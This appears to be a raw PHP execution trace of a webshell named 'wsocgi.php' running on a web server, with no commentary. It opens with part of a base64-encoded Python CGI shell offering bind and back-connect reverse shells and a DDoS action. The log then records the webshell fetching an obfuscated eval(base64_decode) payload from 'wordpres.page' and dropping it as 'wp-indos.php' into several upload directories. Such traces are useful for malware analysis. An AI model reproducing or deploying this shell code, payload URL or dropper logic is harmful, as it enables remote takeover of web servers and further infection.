nNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK\'; $file = fopen("dark0.xx" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("dark0.xx",0755); echo \'<center><p>Sucessfully</p><a href=dark0cgi/dark0.xx target="_blank">Pass r00t</a></center>\'; }  '	/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	2	$document_root = '/var/www/html'
4	20	0	0.007023	544408	dirname	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	3	1	'/var/www/html/uploads/wsocgi.php(4) : eval()\'d code(1) : eval()\'d code'
4	20	1	0.007040	544536
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	3	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	4	$wp_detect = 0
4	21	0	0.007082	544560	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	5	1	'/var/www/html/wp-load.php'
4	21	1	0.007106	544600
4	21	R			FALSE
4	22	0	0.007122	544504	explode	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	11	2	'/'	'/var/www/html/uploads'
4	22	1	0.007138	545080
4	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	11	$prefix = 5
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	12	$a = ''
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i = 0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../'
4	23	0	0.007205	544568	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../wp-load.php'
4	23	1	0.007224	544608
4	23	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../'
4	24	0	0.007260	544600	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../wp-load.php'
4	24	1	0.007278	544640
4	24	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../'
4	25	0	0.007313	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../wp-load.php'
4	25	1	0.007330	544664
4	25	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../'
4	26	0	0.007364	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../wp-load.php'
4	26	1	0.007381	544664
4	26	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../../'
4	27	0	0.007414	544624	file_exists	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	27	1	0.007431	544664
4	27	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	13	$i++
4	28	0	0.007455	544544	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	63	1	'#'
5	29	0	0.007469	544544	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'#'
5	29	1	0.007493	545488
5	29	R			resource(3) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(3) of type (curl)
5	30	0	0.007521	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(3) of type (curl)	19913	1
5	30	1	0.007538	545552
5	30	R			TRUE
5	31	0	0.007551	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(3) of type (curl)	78	10
5	31	1	0.007567	545552
5	31	R			TRUE
5	32	0	0.007580	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(3) of type (curl)	52	1
5	32	1	0.007595	545552
5	32	R			TRUE
5	33	0	0.007608	545456	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(3) of type (curl)	42	0
5	33	1	0.007622	545552
5	33	R			TRUE
5	34	0	0.007635	545456	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(3) of type (curl)
5	34	1	0.007688	545488
5	34	R			FALSE
4	28	1	0.007718	544544
4	28	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	63	$code = FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	64	$wp_code = '/var/www/html/#'
4	35	0	0.007757	544584	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	65	2	'/var/www/html/#'	'w'
4	35	1	0.007795	545224
4	35	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	65	$open_code = resource(5) of type (stream)
4	36	0	0.007826	545152	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	66	2	resource(5) of type (stream)	FALSE
4	36	1	0.007842	545216
4	36	R			0
4	37	0	0.007855	545152	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	67	1	resource(5) of type (stream)
4	37	1	0.007871	544752
4	37	R			TRUE
4	38	0	0.007884	544720	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	71	1	''
5	39	0	0.007898	544720	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	''
5	39	1	0.007920	545664
5	39	R			resource(6) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(6) of type (curl)
5	40	0	0.007948	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(6) of type (curl)	19913	1
5	40	1	0.007964	545728
5	40	R			TRUE
5	41	0	0.007977	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(6) of type (curl)	78	10
5	41	1	0.007993	545728
5	41	R			TRUE
5	42	0	0.008006	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(6) of type (curl)	52	1
5	42	1	0.008021	545728
5	42	R			TRUE
5	43	0	0.008033	545632	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(6) of type (curl)	42	0
5	43	1	0.008047	545728
5	43	R			TRUE
5	44	0	0.008059	545632	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(6) of type (curl)
5	44	1	0.008094	545664
5	44	R			FALSE
4	38	1	0.008120	544720
4	38	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	71	$makale = FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	72	$wp_makale = '/var/www/html/'
4	45	0	0.008178	544760	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	73	2	'/var/www/html/'	'w'
4	45	1	0.008223	544832
4	45	R			FALSE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	73	$open_makale = FALSE
4	46	0	0.008250	544760	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	74	2	FALSE	FALSE
4	46	1	0.008271	544824
4	46	R			FALSE
4	47	0	0.008284	544760	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	75	1	FALSE
4	47	1	0.008303	544792
4	47	R			FALSE
4	48	0	0.008317	544760	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	80	1	'/var/www/html'
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
5	49	0	0.008343	544760	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html'
5	49	1	0.008375	545296
5	49	R			[0 => '#', 1 => '.', 2 => '..', 3 => 'uploads']
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/#'
5	50	0	0.008408	545304	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/#'
5	50	1	0.008425	545360
5	50	R			FALSE
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads'
5	51	0	0.008451	545328	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads'
5	51	1	0.008467	545376
5	51	R			TRUE
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads'
5	52	0	0.008493	545712	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
6	53	0	0.008533	545712	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads'
6	53	1	0.008562	546336
6	53	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wsocgi.php']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/.htaccess'
6	54	0	0.008597	546360	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/.htaccess'
6	54	1	0.008614	546408
6	54	R			FALSE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data'
6	55	0	0.008639	546368	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data'
6	55	1	0.008655	546408
6	55	R			TRUE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	100	$directories[] = '/var/www/html/uploads/data'
6	56	0	0.008680	546744	expandDirectories	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	95	$directories = []
7	57	0	0.008708	546744	scandir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	96	1	'/var/www/html/uploads/data'
7	57	1	0.008733	547272
7	57	R			[0 => '.', 1 => '..', 2 => 'trace-1676255397.7289.xt.gz']
6		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/data/trace-1676255397.7289.xt.gz'
7	58	0	0.008783	547320	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/data/trace-1676255397.7289.xt.gz'
7	58	1	0.008802	547384
7	58	R			FALSE
6	56	1	0.008816	546768
6	56	R			[]
6	59	0	0.008828	546768	array_merge	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads/data']	[]
6	59	1	0.008844	547208
6	59	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/prepend.php'
6	60	0	0.008885	546832	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/prepend.php'
6	60	1	0.008901	546856
6	60	R			FALSE
5		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	98	$dir = '/var/www/html/uploads/wsocgi.php'
6	61	0	0.008926	546816	is_dir	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	99	1	'/var/www/html/uploads/wsocgi.php'
6	61	1	0.008940	546856
6	61	R			FALSE
5	52	1	0.008954	546160
5	52	R			[0 => '/var/www/html/uploads/data']
5	62	0	0.008969	546160	array_merge	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	62	1	0.008985	546600
5	62	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	101	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	48	1	0.009016	545280
4	48	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	80	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	63	0	0.009046	545280	http_get	1		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	81	1	'https://wordpres.page/txt/lamer.txt'
5	64	0	0.009061	545280	curl_init	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	1	'https://wordpres.page/txt/lamer.txt'
5	64	1	0.009077	546224
5	64	R			resource(10) of type (curl)
4		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(10) of type (curl)
5	65	0	0.009106	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(10) of type (curl)	19913	1
5	65	1	0.009122	546288
5	65	R			TRUE
5	66	0	0.009135	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(10) of type (curl)	78	10
5	66	1	0.009189	546288
5	66	R			TRUE
5	67	0	0.009204	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(10) of type (curl)	52	1
5	67	1	0.009219	546288
5	67	R			TRUE
5	68	0	0.009232	546192	curl_setopt	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(10) of type (curl)	42	0
5	68	1	0.009247	546288
5	68	R			TRUE
5	69	0	0.009259	546192	curl_exec	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(10) of type (curl)
5	69	1	0.383175	595376
5	69	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	63	1	0.384097	594432
4	63	R			'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	81	$css = '<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	70	0	0.384278	594432	preg_match	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads'
4	70	1	0.384485	594496
4	70	R			0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/wp-indos.php'
4	71	0	0.384517	594496	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/wp-indos.php'	'w'
4	71	1	0.384574	595048
4	71	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(11) of type (stream)
4	72	0	0.384605	594976	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	72	1	0.384703	595040
4	72	R			47731
4	73	0	0.384719	594976	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(11) of type (stream)
4	73	1	0.384736	594552
4	73	R			TRUE
4	74	0	0.384750	594520	preg_match	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	84	2	'#wp-content#'	'/var/www/html/uploads/data'
4	74	1	0.384766	594584
4	74	R			0
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	86	$css_file = '/var/www/html/uploads/data/wp-indos.php'
4	75	0	0.384792	594520	fopen	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	2	'/var/www/html/uploads/data/wp-indos.php'	'w'
4	75	1	0.384826	595072
4	75	R			resource(12) of type (stream)
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	87	$open_css = resource(12) of type (stream)
